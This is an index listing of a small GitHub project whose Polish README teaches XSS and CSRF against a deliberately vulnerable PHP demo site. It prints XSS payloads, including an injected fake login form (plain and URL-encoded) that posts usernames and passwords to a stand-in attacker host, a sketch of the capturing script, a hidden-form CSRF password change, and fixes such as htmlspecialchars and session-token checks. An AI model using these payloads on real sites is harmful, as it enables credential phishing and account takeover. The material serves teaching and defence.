Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/arturt/xss-and-csrf-examples
Presentation about XSS and CSRF with example of code.
https://github.com/arturt/xss-and-csrf-examples
Last synced: 6 days ago
JSON representation
Presentation about XSS and CSRF with example of code.
- Host: GitHub
- URL: https://github.com/arturt/xss-and-csrf-examples
- Owner: ArturT
- License: other
- Created: 2012-04-14T17:57:55.000Z (over 12 years ago)
- Default Branch: master
- Last Pushed: 2012-04-14T18:56:08.000Z (over 12 years ago)
- Last Synced: 2024-10-12T03:10:46.429Z (about 1 month ago)
- Homepage:
- Size: 191 KB
- Stars: 0
- Watchers: 2
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: License.md
Awesome Lists containing this project
README
# Konfiguracja
* Wrzucić wszystkie pliki na serwer obsługujacy PHP.
* Uruchomić w przeglądarce stronę `index.php`* W pole wyszukiwania `szukaj.php` wklejać poniższe przykłady kodu aby wyświetlić alert lub wstrzyknąć formularz przypominający logowanie, a w rzeczywistości wysyłający dane do hackera.
* Jeśli użytkownik `jankowalski` o haśle `qwerty` jest zalogowany i ktoś wyśle mu link `filmik.html` z ukrytym formularzem zmieniającym hasło to tym samym `jankowalski` straci dostęp
do swojego konta po wylogowaniu ponieważ zostanie ustawione hasło `haker` dla jego konta.# XSS
### XSS - sprawdzanie podatności inputa
">alert('hacked');
### XSS - kod wyświetlający fikcyjny formularz proszący o logowanie
">
document.getElementById('container').innerHTML='<h1>Logowanie</h1>
Uwaga. Zostałeś wylogowany. Ze względów bezpieczeństwa jesteś proszony o ponowne zalogowanie.
<form action="http://www.strona-hackera.pl/formularz_przechwytujacy_haslo.php" method="post">
Login: <input type="text" name="login"><br />
Hasło: <input type="password" name="password"><br />
<input type="submit" name="submit" value="zaloguj" />
</form>
';
### Kod dołączający bibliotekę jQuery z serwera Google
### Kod dołączający bibliotekę jQuery z localhost
### XSS - kod wyświetlający fikcyjny formularz proszący o logowanie
Kod jest wywoływany dopiero po załadowaniu całego dokumentu DOM (Document Object Model).">
$(function() {
document.getElementById('container').innerHTML='<h1>Logowanie</h1>
Uwaga. Zostałeś wylogowany. Ze względów bezpieczeństwa jesteś proszony o ponowne zalogowanie.
<form action="http://www.strona-hackera.pl/formularz_przechwytujacy_haslo.php" method="post">
Login: <input type="text" name="login"><br />
Hasło: <input type="password" name="password"><br />
<input type="submit" name="submit" value="zaloguj" />
</form>
';
})
Treść pliku `formularz_przechwytujacy_haslo.php` który znajduje się na serwerze hackera.
// odczyt przechwyconych danych
$_POST['login'];
$_POST['password'];
// wysłanie danych do hackera
// mail() lub zapis do pliku
// ...?>
### po parsowaniu
%22%3e%20%3c%73%63%72%69%70%74%20%74%79%70%65%3d%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%20%73%72%63%3d%27%6a%71%75%65%72%79%2e%6d%69%6e%2e%6a%73%27%3e%3c%2f%73%63%72%69%70%74%3e%20%3c%73%63%72%69%70%74%3e%20%24%28%66%75%6e%63%74%69%6f%6e%28%29%20%7b%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%27%63%6f%6e%74%61%69%6e%65%72%27%29%2e%69%6e%6e%65%72%48%54%4d%4c%3d%27%3c%68%31%3e%4c%6f%67%6f%77%61%6e%69%65%3c%2f%68%31%3e%20%55%77%61%67%61%2e%20%5a%6f%73%74%61%c5%82%65%c5%9b%20%77%79%6c%6f%67%6f%77%61%6e%79%2e%20%5a%65%20%77%7a%67%6c%c4%99%64%c3%b3%77%20%62%65%7a%70%69%65%63%7a%65%c5%84%73%74%77%61%20%6a%65%73%74%65%c5%9b%20%70%72%6f%73%7a%6f%6e%79%20%6f%20%70%6f%6e%6f%77%6e%65%20%7a%61%6c%6f%67%6f%77%61%6e%69%65%2e%20%3c%66%6f%72%6d%20%61%63%74%69%6f%6e%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%73%74%72%6f%6e%61%2d%68%61%63%6b%65%72%61%2e%70%6c%2f%66%6f%72%6d%75%6c%61%72%7a%5f%70%72%7a%65%63%68%77%79%74%75%6a%61%63%79%5f%68%61%73%6c%6f%2e%70%68%70%22%20%6d%65%74%68%6f%64%3d%22%70%6f%73%74%22%3e%20%4c%6f%67%69%6e%3a%20%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%74%65%78%74%22%20%6e%61%6d%65%3d%22%6c%6f%67%69%6e%22%3e%3c%62%72%20%2f%3e%20%48%61%73%c5%82%6f%3a%20%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%70%61%73%73%77%6f%72%64%22%20%6e%61%6d%65%3d%22%70%61%73%73%77%6f%72%64%22%3e%3c%62%72%20%2f%3e%20%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%73%75%62%6d%69%74%22%20%6e%61%6d%65%3d%22%73%75%62%6d%69%74%22%20%76%61%6c%75%65%3d%22%7a%61%6c%6f%67%75%6a%22%20%2f%3e%20%3c%2f%66%6f%72%6d%3e%20%27%3b%20%7d%29%20%3c%2f%73%63%72%69%70%74%3e
### Ten sam kod co wyżej tylko z linkiem do biblioteki jquery umieszczonej na serwerze Google
">
$(function() {
document.getElementById('container').innerHTML='<h1>Logowanie</h1>
Uwaga. Zostałeś wylogowany. Ze względów bezpieczeństwa jesteś proszony o ponowne zalogowanie.
<form action="http://www.strona-hackera.pl/formularz_przechwytujacy_haslo.php" method="post">
Login: <input type="text" name="login"><br />
Hasło: <input type="password" name="password"><br />
<input type="submit" name="submit" value="zaloguj" />
</form>
';
})
* TIP: Aby zabezpieczyć pole wyszukiwania należy na `$_GET['fraza']` wywołać funkcję htmlspecialchars
# CSRF
Użytkownik `jankowalski` klucz dla hasła: `qwerty` to `e98f3f7e74ae2a0093ece6ab335ee78ce98c9fa2`.
### Sposób zabezpieczenia formularza zmiany hasła:
Należy dodać sprawdzanie tokenu sesji.Linia ~247 w pliku `login.php` powinna wyglądać tak:
if($password_1 == $password_2 AND $_COOKIE['session_key'] == $_POST['session_key'])
Do formularza w linii ~278 należy dodać ukryty input: